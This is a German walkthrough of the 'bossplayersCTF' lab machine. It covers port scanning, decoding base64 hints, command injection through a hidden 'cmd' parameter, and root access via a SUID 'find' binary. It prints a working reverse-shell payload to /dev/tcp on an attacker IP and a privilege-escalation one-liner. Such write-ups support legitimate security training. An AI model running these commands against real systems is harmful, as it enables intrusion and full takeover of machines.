bossplayersCTF - Vulnyx - Level: Medium - Bericht

Medium

Verwendete Tools

nmap
nikto
gobuster
wfuzz
dirb
curl
base64
nc
find

Inhaltsverzeichnis

Reconnaissance

Als ersten Schritt in der Reconnaissance-Phase nutzen wir ARP-Scan, um aktive Hosts im Netzwerk zu identifizieren. Dies hilft uns, das Zielsystem schnell zu lokalisieren.

┌──(root㉿CCat)-[~]
└─# arp-scan -l
192.168.2.125 08:00:27:47:50:ff PCS Systemtechnik GmbH

Hier sehen wir die MAC-Adresse und den Hersteller des Netzwerkadapters. Dies kann uns weitere Hinweise auf das Betriebssystem oder die Art des Geräts geben.

Um die Hostnamen aufzulösen, fügen wir den gefundenen Host in die /etc/hosts-Datei ein. Dies erleichtert die weitere Arbeit mit dem Zielsystem, da wir den Hostnamen anstelle der IP-Adresse verwenden können.

┌──(root㉿CCat)-[~]
└─# echo "192.168.2.125 bossplayersCTF.vln" >> /etc/hosts
┌──(root㉿CCat)-[~]
└─# cat /etc/hosts
127.0.0.1 localhost 127.0.1.1 CCat 192.168.2.125 bossplayersCTF.vln

Ein Eintrag in der /etc/hosts Datei erleichtert die Identifizierung des Systems.

Nmap wird verwendet, um die offenen Ports und Dienste des Zielsystems zu scannen. Der -sV Parameter aktiviert die Service-Version Erkennung, -A aktiviert aggressive Scans (Scripting, Version Detection, Traceroute) und --script vuln führt bekannte Schwachstellen-Scripte aus. -T5 Beschleunigt den scan durch die verbindung zu beschleunigen.

┌──(root㉿CCat)-[~]
└─# nmap -sV -A --script vuln 192.168.2.125 -T5
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 20:55 CEST
Pre-scan script results:
| broadcast-avahi-dos:
| Discovered hosts:
| 224.0.0.251
| After NULL UDP avahi packet DoS (CVE-2011-1002).
|_ Hosts are all up (not vulnerable).
Nmap scan report for bossplayersCTF.vln (192.168.2.125)
Host is up (0.00014s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10 (protocol 2.0)
| vulners:
| cpe:/a:openbsd:openssh:7.9p1:
| CVE-2023-38408 9.8 https://vulners.com/cve/CVE-2023-38408
| B8190CDB-3EB9-5631-9828-8064A1575B23 9.8 https://vulners.com/githubexploit/B8190CDB-3EB9-5631-9828-8064A1575B23 *EXPLIT*
| 8FC9C5AB-3968-5F3C-825E-E8DB5379A623 9.8 https://vulners.com/githubexploit/8FC9C5AB-3968-5F3C-825E-E8DB5379A623 *EXPLIT*
| 8AD01159-548E-546E-AA87-2DE89F3927EC 9.8 https://vulners.com/githubexploit/8AD01159-548E-546E-AA87-2DE89F3927EC *EXPLIT*
| 5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A 9.8 https://vulners.com/githubexploit/5E6968B4-DBD6-57FA-BF6E-D9B2219DB27A *EXPLIT*
| CVE-2020-15778 7.8 https://vulners.com/cve/CVE-2020-15778
| CVE-2019-16905 7.8 https://vulners.com/cve/CVE-2019-16905
| SSV:92579 7.5 https://vulners.com/seebug/SSV:92579 *EXPLIT*
| PACKETSTRM:173661
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-dombased-xss: Couldn't find any DM based XSS.
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
|_http-csrf: Couldn't find any CSRF vulnerabilities.
|_http-server-header: Apache/2.4.38 (Debian)
| http-enum:
| /logs.php: Logs
|_ /robots.txt: Robots file
| vulners:
| cpe:/a:apache:http_server:2.4.38:
| FF2EF58E-53AA-5B60-9EA1-4B5C29647395 10.0 https://vulners.com/githubexploit/FF2EF58E-53AA-5B60-9EA1-4B5C29647395 *EXPLIT*
| C94CBDE1-4CC5-5C06-9D18-23CAB216705E 10.0 https://vulners.com/githubexploit/C94CBDE1-4CC5-5C06-9D18-23CAB216705E *EXPLIT*
| 95499236-C9FE-56A6-9D7D-E943A24B633A 10.0 https://vulners.com/githubexploit/95499236-C9FE-56A6-9D7D-E943A24B633A *EXPLIT*
| 2C119FFA-ECE0-5E14-A4A4-354A2C38071A 10.0 https://vulners.com/githubexploit/2C119FFA-ECE0-5E14-A4A4-354A2C38071A *EXPLIT*
| PACKETSTRM:181114 9.8 https://vulners.com/packetstorm/PACKETSTRM:181114 EXPLIT
| PACKETSTRM:152441 0.0 https://vulners.com/packetstorm/PACKETSTRM:152441 EXPLIT
| EDB-ID:47689 0.0 https://vulners.com/exploitdb/EDB-ID:47689 EXPLIT
| EDB-ID:47688 0.0 https://vulners.com/exploitdb/EDB-ID:47688 EXPLIT
| CVE-2024-39884 0.0 https://vulners.com/cve/CVE-2024-39884
| CVE-2024-24795 0.0 https://vulners.com/cve/CVE-2024-24795
|_ CVE-2023-38709 0.0 https://vulners.com/cve/CVE-2023-38709
MAC Address: 08:00:27:47:50:FF (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.14 ms bossplayersCTF.vln (192.168.2.125)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 66.67 seconds

Die Nmap-Ergebnisse zeigen, dass SSH (Port 22) und HTTP (Port 80) geöffnet sind. Die Ausgabe des vulners-Skripts deutet auf potenzielle Schwachstellen in OpenSSH und Apache hin. Die Ergebnisse sollten weiter untersucht werden.

┌──(root㉿CCat)-[~]
└─# nmap -6 -Pn fe80::a00:27ff:fe47:50ff%eth0
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 20:57 CEST
Nmap scan report for bossplayers (fe80a00:27ff:fe47:50ff)
Host is up (0.00020s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE
22/tcp open ssh
80/tcp open http
MAC Address: 08:00:27:47:50:FF (racle VirtualBox virtual NIC)

Nmap done: 2 IP addresses (1 host up) scanned in 3.98 seconds

Hier wird der IPv6-Adressebereich getestet.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000 | grep open
22/tcp open ssh penSSH 7.9p1 Debian 10 (protocol 2.0)
80/tcp open http Apache httpd 2.4.38 ((Debian))

Dieser Befehl führt einen umfassenden Nmap-Scan durch, um alle offenen Ports und zugehörigen Dienste auf dem Zielsystem zu identifizieren. Die Option -sS führt einen SYN-Scan durch, -sC verwendet Standard-Nmap-Skripte zur Erkennung von Diensten und Schwachstellen, -sV aktiviert die Versionserkennung und -A aktiviert aggressive Scan-Optionen. Die Option -p- scannt alle 65535 Ports, $IP ist eine Variable, die die Ziel-IP-Adresse enthält, -Pn überspringt die Host-Discovery-Phase und --min-rate 5000 erhöht die Scan-Geschwindigkeit. Die Ausgabe wird dann mit grep open gefiltert, um nur die offenen Ports anzuzeigen.

┌──(root㉿CCat)-[~]
└─# nmap -sS -sC -sV -A -p- $IP -Pn --min-rate 5000
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-07 20:57 CEST
Nmap scan report for bossplayersCTF.vln (192.168.2.125)
Host is up (0.00017s latency).
Not shown: 65533 closed tcp ports (reset)
PRT STATE SERVICE VERSIN
22/tcp open ssh penSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey:
| 2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
| 256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_ 256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
80/tcp open http Apache httpd 2.4.38 ((Debian))
|_http-title: Site doesn't have a title (text/html).
|_http-server-header: Apache/2.4.38 (Debian)
MAC Address: 08:00:27:47:50:FF (racle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 3.X|4.X
OS CPE: cpe:/o:linux:linux_kernel:3 cpe:/o:linux:linux_kernel:4
OS details: Linux 3.2 - 4.9
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACERUTE
HP RTT ADDRESS
1 0.17 ms bossplayersCTF.vln (192.168.2.125)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 9.78 seconds

Die vollständige Nmap-Ausgabe zeigt, dass SSH (Port 22) und HTTP (Port 80) geöffnet sind. Es werden auch die SSH-Hostschlüssel und der HTTP-Server-Header angezeigt.

Web Enumeration

Nikto wird verwendet, um Webserver auf potenzielle Schwachstellen und Konfigurationsfehler zu scannen.

┌──(root㉿CCat)-[~]
└─# nikto -h 192.168.2.125
- Nikto v2.5.0

+ Target IP: 192.168.2.125
+ Target Hostname: 192.168.2.125
+ Target Port: 80
+ Start Time: 2024-10-07 20:58:02 (GMT2)

+ Server: Apache/2.4.38 (Debian)
+ /: The anti-clickjacking X-Frame-ptions header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-ptions
+ /: The X-Content-Type-ptions header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
+ No CGI Directories found (use '-C all' to force check all possible dirs)
+ /: Server may leak inodes via ETags, header found with file /, inode: 23f, size: 59394284b0000, mtime: gzip. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418
+ Apache/2.4.38 appears to be outdated (current is at least Apache/2.4.54). Apache 2.2.34 is the EL for the 2.x branch.
+ PTIONS: Allowed HTTP Methods: HEAD, GET, PST, PTIONS .
+ /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
+ 8102 requests: 0 error(s) and 6 item(s) reported on remote host
+ End Time: 2024-10-07 20:58:13 (GMT2) (11 seconds)

+ 1 host(s) tested

Nikto findet verschiedene interessante Punkte: Das Fehlen von Clickjacking- und Content-Type-ption-Headern, die Möglichkeit, Inodes über ETags preiszugeben, eine veraltete Apache-Version und das Vorhandensein der Apache-Standarddatei /icons/README.

Gobuster wird verwendet, um versteckte Verzeichnisse und Dateien auf dem Webserver zu finden. Der Befehl verwendet eine Wortliste (directory-list-2.3-medium.txt), um verschiedene Pfade zu bruteforcen. Die Parameter -x und -e werden verwendet, um nach bestimmten Dateiendungen zu suchen, und -b wird verwendet, um bestimmte HTTP-Statuscodes zu ignorieren.

┌──(root㉿CCat)-[~]
└─# gobuster dir -u "http://$IP" -w "/usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt" -x txt,php,rar,zip,tar,pub,xls,docx,doc,sql,db,mdb,asp,aspx,accdb,bat,ps1,exe,sh,py,pl,gz,jpeg,jpg,png,html,phtml,xml,csv,dll,pdf,raw,rtf,xlsx,zip,kdbx,bak,svg,pem,crt,json,conf,ELF,elf,c,java,lib,cgi,csh,config,deb,desc,exp,eps,diff,icon,mod,ln,old,rpm,js.map,pHtml -b '503,404,403' -e --no-error -k
http://192.168.2.125/index.html (Status: 200) [Size: 575]
http://192.168.2.125/robots.txt (Status: 200) [Size: 53]
http://192.168.2.125/logs.php (Status: 200) [Size: 34093]

Gobuster findet die Dateien index.html, robots.txt und logs.php.

Die Datei robots.txt wird auf interessante Informationen überprüft.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.125/robots.txt
User-agent: *
Disallow: /

super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg

Die robots.txt-Datei enthält den Hinweis "super secret password - bG9sIHRyeSBoYXJkZXIgYnJvCg". Dies sieht nach einem Base64-kodierten String aus.

Der Base64-kodierte String wird dekodiert.

┌──(root㉿CCat)-[~]
└─# echo -n "bG9sIHRyeSBoYXJkZXIgYnJvCg" | base64 -d
lol try harder bro

Der dekodierte String lautet "lol try harder bro". Dies ist wahrscheinlich kein nützliches Passwort, sondern eher ein Hinweis.

Der Quellcode der index.html-Datei wird angezeigt.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.125/index.html
bossplayers CTF - created by Cuong Nguyen

Difficulty Level: [* ] [ ] [ ] [ ] [ ]

Description: Hello! Extremely easy CTF that I created for those who want to get their feet wet.
Have a methodology and avoid the rabit holes! I hope you enjoy this and most importantly,
please have fun!

Website: sudocuong.com

Die index.html-Datei enthält grundlegende Informationen über das CTF.

Der Quellcode der logs.php-Datei wird angezeigt.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.125/logs.php
Sep 28 08:48:59 bossplayers kernel: [ 0.002287] e820: remove [mem 0x000a0000-0x000fffff] usable
Sep 28 08:48:59 bossplayers kernel: [ 0.002297] MTRR default type: uncachable
Sep 28 08:48:59 bossplayers kernel: [ 0.002298] MTRR variable ranges disabled:
Sep 28 08:48:59 bossplayers kernel: [ 0.079967] BRK [0x25401000, 0x25401fff] PGTABLE
Sep 28 08:48:59 bossplayers kernel: [ 0.079970] BRK [0x25402000, 0x25402fff] PGTABLE
Sep 28 08:48:59 bossplayers kernel: [ 0.079970] BRK [0x25403000, 0x25403fff] PGTABLE
Sep 28 08:48:59 bossplayers kernel: [ 0.079981] BRK [0x25404000, 0x25404fff] PGTABLE
Sep 28 08:48:59 bossplayers kernel: [ 0.079982] BRK [0x25405000, 0x25405fff] PGTABLE
Sep 28 08:48:59 bossplayers kernel: [ 0.080007] BRK [0x25406000, 0x25406fff] PGTABLE
Sep 28 08:48:59 bossplayers kernel: [ 0.080064] ACPI: Local APIC address 0xfee00000
Sep 28 08:48:59 bossplayers kernel: [ 0.080258] n node 0 totalpages: 524174
Sep 28 08:48:59 bossplayers kernel: [ 0.080259] DMA zone: 64 pages used for memmap
Sep 28 08:48:59 bossplayers kernel: [ 0.080259] DMA zone: 21 pages reserved
Sep 28 08:48:59 bossplayers kernel: [ 0.080260] DMA zone: 3998 pages, LIF batch:0
Sep 28 08:48:59 bossplayers kernel: [ 0.080318] DMA32 zone: 8128 pages used for memmap
Sep 28 08:48:59 bossplayers kernel: [ 0.080318] DMA32 zone: 520176 pages, LIF batch:63
Sep 28 08:48:59 bossplayers kernel: [ 0.088074] ACPI: Local APIC address 0xfee00000
Sep 28 08:48:59 bossplayers kernel: [ 0.088120] ACPI: IRQ0 used by override.
Sep 28 08:48:59 bossplayers kernel: [ 0.088121] ACPI: IRQ9 used by override.
Sep 28 08:48:59 bossplayers kernel: [ 0.162349] pcpu-alloc: s144408 r8192 d31720 u2097152 alloc=1*2097152
Sep 28 08:48:59 bossplayers kernel: [ 0.1650] pcpu-alloc: [0] 0
Sep 28 08:48:59 bossplayers kernel: [ 0.164851] Calgary: detecting Calgary via BIS EBDA area
Sep 28 08:48:59 bossplayers kernel: [ 0.164852] Calgary: Unable to locate Rio Grande table in EBDA - bailing!
Sep 28 08:48:59 bossplayers kernel: [ 0.209194] pci 0000:00:00.0: [8086:1237] type 00 class 0x060000
Sep 28 08:48:59 bossplayers kernel: [ 0.209529] pci 0000:00:01.0: [8086:7000] type 00 class 0x060100
Sep 28 08:48:59 bossplayers kernel: [ 0.210044] pci 0000:00:01.1: [8086:7111] type 00 class 0x01018a
Sep 28 08:48:59 bossplayers kernel: [ 0.210304] pci 0000:00:01.1: reg 0x20: [io 0xd000-0xd00f]
Sep 28 08:48:59 bossplayers kernel: [ 0.210538] pci 0000:00:02.0: [15ad:0405] type 00 class 0x030000
Sep 28 08:48:59 bossplayers kernel: [ 0.211583] pci 0000:00:02.0: reg 0x10: [io 0xd010-0xd01f]
Sep 28 08:48:59 bossplayers kernel: [ 0.212443] pci 0000:00:02.0: reg 0x14: [mem 0xf0000000-0xf0ffffff]
Sep 28 08:48:59 bossplayers kernel: [ 0.213234] pci 0000:00:02.0: reg 0x18: [mem 0xf1000000-0xf11fffff]
Sep 28 08:48:59 bossplayers kernel: [ 0.216020] pci 0000:00:03.0: [8086:100e] type 00 class 0x020000
Sep 28 08:48:59 bossplayers kernel: [ 0.216522] pci 0000:00:03.0: reg 0x10: [mem 0xf1200000-0xf121ffff]
Sep 28 08:48:59 bossplayers kernel: [ 0.217380] pci 0000:00:03.0: reg 0x18: [io 0xd020-0xd027]
Sep 28 08:48:59 bossplayers kernel: [ 0.222229] pci 0000:00:04.0: [80ee:cafe] type 00 class 0x088000
Sep 28 08:48:59 bossplayers kernel: [ 0.223087] pci 0000:00:04.0: reg 0x10: [io 0xd040-0xd05f]
Sep 28 08:48:59 bossplayers kernel: [ 0.223768] pci 0000:00:04.0: reg 0x14: [mem 0xf1400000-0xf17fffff]
Sep 28 08:48:59 bossplayers kernel: [ 0.224393] pci 0000:00:04.0: reg 0x18: [mem 0xf1800000-0xf1803fff pref]
Sep 28 08:48:59 bossplayers kernel: [ 0.227257] pci 0000:00:05.0: [8086:2415] type 00 class 0x040100
Sep 28 08:48:59 bossplayers kernel: [ 0.227348] pci 0000:00:05.0: reg 0x10: [io 0xd100-0xd1ff]
Sep 28 08:48:59 bossplayers kernel: [ 0.227395] pci 0000:00:05.0: reg 0x14: [io 0xd200-0xd23f]
Sep 28 08:48:59 bossplayers kernel: [ 0.227764] pci 0000:00:06.0: [106b:003f] type 00 class 0x0c0310
Sep 28 08:48:59 bossplayers kernel: [ 0.228271] pci 0000:00:06.0: reg 0x10: [mem 0xf1804000-0xf1804fff]
Sep 28 08:48:59 bossplayers kernel: [ 0.231306] pci 0000:00:07.0: [8086:7113] type 00 class 0x068000
Sep 28 08:48:59 bossplayers kernel: [ 0.231757] pci 0000:00:0d.0: [8086:2829] type 00 class 0x010601
Sep 28 08:48:59 bossplayers kernel: [ 0.232420] pci 0000:00:0d.0: reg 0x10: [io 0xd240-0xd247]
Sep 28 08:48:59 bossplayers kernel: [ 0.232901] pci 0000:00:0d.0: reg 0x14: [io 0xd248-0xd24b]
Sep 28 08:48:59 bossplayers kernel: [ 0.233476] pci 0000:00:0d.0: reg 0x18: [io 0xd250-0xd257]
Sep 28 08:48:59 bossplayers kernel: [ 0.234126] pci 0000:00:0d.0: reg 0x1c: [io 0xd258-0xd25b]

Die logs.php-Datei enthält Kernel-Protokolle, die möglicherweise Informationen über das System preisgeben. Hier sind aber keine offensichtlichen Schwachstellen zu erkennen.

Metasploit wird verwendet, um SSH-Benutzer zu enumerieren.

msf6 auxiliary(scanner/ssh/ssh_enumusers) > set CHECK_FALSE true
CHECK_FALSE => true
msf6 auxiliary(scanner/ssh/ssh_enumusers) > run
[*] 192.168.2.125:22 - SSH - Using malformed packet technique
[*] 192.168.2.125:22 - SSH - Checking for false positives
[-] 192.168.2.125:22 - SSH - throws false positive results. Aborting.
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed

Der SSH-Benutzer-Enumerationsversuch mit Metasploit schlägt fehl, da das Zielsystem falsche positive Ergebnisse liefert.

Die Datei view-source:http://192.168.2.125/ wird angezeigt.

┌──(root㉿CCat)-[~]
└─# curl http://192.168.2.125/

bossplayers CTF - created by Cuong Nguyen

Difficulty Level: [* ] [ ] [ ] [ ] [ ]

Description: Hello! Extremely easy CTF that I created for those who want to get their feet wet.
Have a methodology and avoid the rabit holes! I hope you enjoy this and most importantly, please have fun!

Website: sudocuong.com
┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.125/index.html | grep -oP '(?s)'

Hier wurde im Quellcode ein base64 String gefunden.

Hier wird der base64 String dekodiert.

┌──(root㉿CCat)-[~]
└─# echo -n "WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBblBUMEsK" | base64 -d
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K

Nochmals wird der base64 String dekodiert.

┌──(root㉿CCat)-[~]
└─# echo -n "ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K" | base64 -d
d29ya2luZ2lucHJvZ3Jlc3MucGhwCg

Ein letztes mal wird der base64 String dekodiert.

┌──(root㉿CCat)-[~]
└─# echo -n "d29ya2luZ2lucHJvZ3Jlc3MucGhwCg" | base64 -d
workinginprogress.php

Initial Access

Die Datei workinginprogress.php wird aufgerufen.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.125/workinginprogress.php
System Install:
Linux Debian - [*]
APACHE2 - [*]
PHP - [*]

outstanding:
Test ping command - [ ]
Fix Privilege Escalation - [ ]
Completed:
Say Hi to Haley - [*]

Die Seite zeigt, dass sich eine Seite im Aufbau befindet.

Proof of Concept: Remote Code Execution

Wir haben eine RCE Schwachstelle gefunden, nun machen wir einen Proof of Concept.

Es wird versucht, den Parameter "FUZZ" in der URL http://192.168.2.125/workinginprogress.php zu fuzzern, um potenzielle Parameter zu entdecken.

┌──(root㉿CCat)-[~]
└─# wfuzz -c -w /usr/share/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt -u "http://192.168.2.125/workinginprogress.php?FUZZ=id" --hc 404 --hh 271
Target: http://192.168.2.125/workinginprogress.php?FUZZ=id

= ID Response Lines Word Chars Payload
=
000005392: 200 25 L 39 W 325 Ch "cmd"

Total time: 0
Processed Requests: 6464
Filtered Requests: 6463
Requests/sec.: 0

Der Fuzzing-Prozess entdeckt den Parameter cmd, der möglicherweise für Remote Code Execution (RCE) anfällig ist.

Wir haben unser Ziel erreicht.

Es wird versucht, den Befehl id über den cmd-Parameter auszuführen, um die Identität des Webservers zu ermitteln.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.125/workinginprogress.php?cmd=id | tail -n 4
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Die Ausgabe zeigt, dass der Webserver als Benutzer www-data ausgeführt wird.

Es wird versucht, die Datei /etc/passwd über den cmd-Parameter auszulesen und nach Benutzern mit der Shell /bin/bash zu suchen.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.125/workinginprogress.php?cmd=cat%20/etc/passwd|grep bash
root:x:0:0:root:/root:/bin/bash
cuong:x:1000:1000:cuong,,,:/home/cuong:/bin/bash

Die Ausgabe zeigt die Benutzer root und cuong, die die Shell /bin/bash verwenden.

Es wird versucht, den Inhalt des Verzeichnisses /home über den cmd-Parameter aufzulisten.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.125/workinginprogress.php?cmd=ls%20/home|tail -n 4
cuong

Die Ausgabe zeigt, dass das Verzeichnis /home das Unterverzeichnis cuong enthält.

Es wird versucht, den Inhalt des Verzeichnisses /home/cuong/.ssh über den cmd-Parameter aufzulisten.

┌──(root㉿CCat)-[~]
└─# curl -s http://192.168.2.125/workinginprogress.php?cmd=ls%20-la%20/home/cuong/.ssh

Es liegt eine RCE Schwachstelle vor.

Hier wird versucht eine Reverse Shell zu öffnen.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...

Der Attacker hört nun auf Port 9001.

Nun wird die Reverse Shell gestartet.

192.168.2.125/workinginprogress.php?cmd=%2Fbin%2Fbash%20-c%20%27bash%20-i%20%3E%26%20%2Fdev%2Ftcp%2F192.168.2.199%2F9001%200%3E%261%27

Nun hat der Attacker eine erfolgreiche Reverse Shell.

┌──(root㉿CCat)-[~]
└─# nc -lvnp 9001
listening on [any] 9001 ...
connect to [192.168.2.199] from (UNKNWN) [192.168.2.125] 59978
bash: cannot set terminal process group (511): Inappropriate ioctl for device
bash: no job control in this shell
www-data@bossplayers:/var/www/html$

Wir haben erfolgreich eine Reverse Shell erhalten. Das Ziel ist erreicht!

Privilege Escalation

Hier wird versucht die Rechte zu erweitern, um das System zu kompromittieren.

Der aktuelle Benutzer wird ermittelt.

www-data@bossplayers:/var/www/html$ ls -la
total 56
drwxr-xr-x 2 root root 4096 Sep 28 2019 .
drwxr-xr-x 3 root root 4096 Sep 28 2019 ..
-rw-r--r-- 1 root root 575 Sep 28 2019 index.html
-rw-r--r-- 1 root root 34093 Sep 28 2019 logs.php
-rw-r--r-- 1 root root 53 Sep 28 2019 robots.txt
-rw-r--r-- 1 root root 310 Sep 28 2019 workinginprogress.php

Der aktuelle Benutzer ist www-data.

Es wird versucht, die Datei /etc/passwd auszulesen.

www-data@bossplayers:/opt$ ls -la /etc/passwd
-rw-r--r-- 1 root root 1483 Sep 28 2019 /etc/passwd

Die Datei /etc/passwd kann gelesen werden.

Es wird versucht, die Capabilities des Systems aufzulisten.

www-data@bossplayers:/opt$ getcap -r / 2>/dev/null
/usr/bin/ping = cap_net_raw+ep

Das Programm /usr/bin/ping hat die Capability cap_net_raw+ep.

Es wird versucht, in das Home-Verzeichnis des Benutzers cuong zu wechseln.

www-data@bossplayers:/home$ cd cuong/

Das Home-Verzeichnis des Benutzers cuong wird aufgerufen.

Es wird versucht, den Inhalt des Verzeichnisses /home/cuong aufzulisten.

www-data@bossplayers:/home/cuong$ ls -la
total 24
drwxr-xr-x 2 cuong cuong 4096 Sep 28 2019 .
drwxr-xr-x 3 root root 4096 Sep 28 2019 ..
-rw- 1 cuong cuong 5 Sep 28 2019 .bash_history
-rw-r--r-- 1 cuong cuong 220 Sep 28 2019 .bash_logout
-rw-r--r-- 1 cuong cuong 3526 Sep 28 2019 .bashrc
-rw-r--r-- 1 cuong cuong 807 Sep 28 2019 .profile

Das Verzeichnis /home/cuong enthält die Standard-Bash-Dateien.

Es wird versucht, die .bash_history-Datei des Benutzers cuong auszulesen.

www-data@bossplayers:/home/cuong$ cat .bash_history
cat: .bash_history: Permission denied

Der Benutzer www-data hat keine Berechtigung, die .bash_history-Datei des Benutzers cuong auszulesen.

Privilege Escalation

In diesem Abschnitt konzentrieren wir uns auf die Eskalation von Privilegien, um Root-Zugriff auf das System zu erhalten.

Wir suchen nach Dateien mit gesetztem SUID-Bit, die von jedem Benutzer ausgeführt werden können.

www-data@bossplayers:/var/www/html$ find / -type f -perm -4000 -ls 2>/dev/null
134564 52 -rwsr-xr-x 1 root root 51280 Jan 10 2019 /usr/bin/mount
134566 36 -rwsr-xr-x 1 root root 34888 Jan 10 2019 /usr/bin/umount
130615 84 -rwsr-xr-x 1 root root 84016 Jul 27 2018 /usr/bin/gpasswd
134230 64 -rwsr-xr-x 1 root root 63568 Jan 10 2019 /usr/bin/su
130613 44 -rwsr-xr-x 1 root root 44528 Jul 27 2018 /usr/bin/chsh
132569 196 -rwsr-sr-x 1 root root 198976 Jan 8 2019 /usr/bin/grep
130612 56 -rwsr-xr-x 1 root root 54096 Jul 27 2018 /usr/bin/chfn
130617 64 -rwsr-xr-x 1 root root 63736 Jul 27 2018 /usr/bin/passwd
132512 312 -rwsr-sr-x 1 root root 315904 Feb 16 2019 /usr/bin/find
134083 44 -rwsr-xr-x 1 root root 44440 Jul 27 2018 /usr/bin/newgrp
143520 52 -rwsr-xr-- 1 root messagebus 51184 Jun 10 2019 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
146877 428 -rwsr-xr-x 1 root root 436552 Apr 8 2019 /usr/lib/openssh/ssh-keysign
267857 12 -rwsr-xr-x 1 root root 10232 Mar 28 2017 /usr/lib/eject/dmcrypt-get-device

Die Ausgabe zeigt mehrere SUID-Binärdateien, die möglicherweise für die Rechteausweitung missbraucht werden können.

Wir verwenden die Binärdatei find, um eine Shell mit Root-Rechten zu starten.

www-data@bossplayers:/home/cuong$ find . -exec /bin/sh -p \; -quit

Wir sind jetzt als root angemeldet.

# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(www-data)

Die Ausgabe bestätigt, dass wir Root-Rechte haben.

Hier wird die Root Flag aufgerufen.

# cd /root
# ls
root.txt
# cat root.txt
Y29uZ3JhdHVsYXRpb25zCg

Die Datei root.txt enthält die Root-Flag.

Flags

cat user.txt userflag
cat root.txt Y29uZ3JhdHVsYXRpb25zCg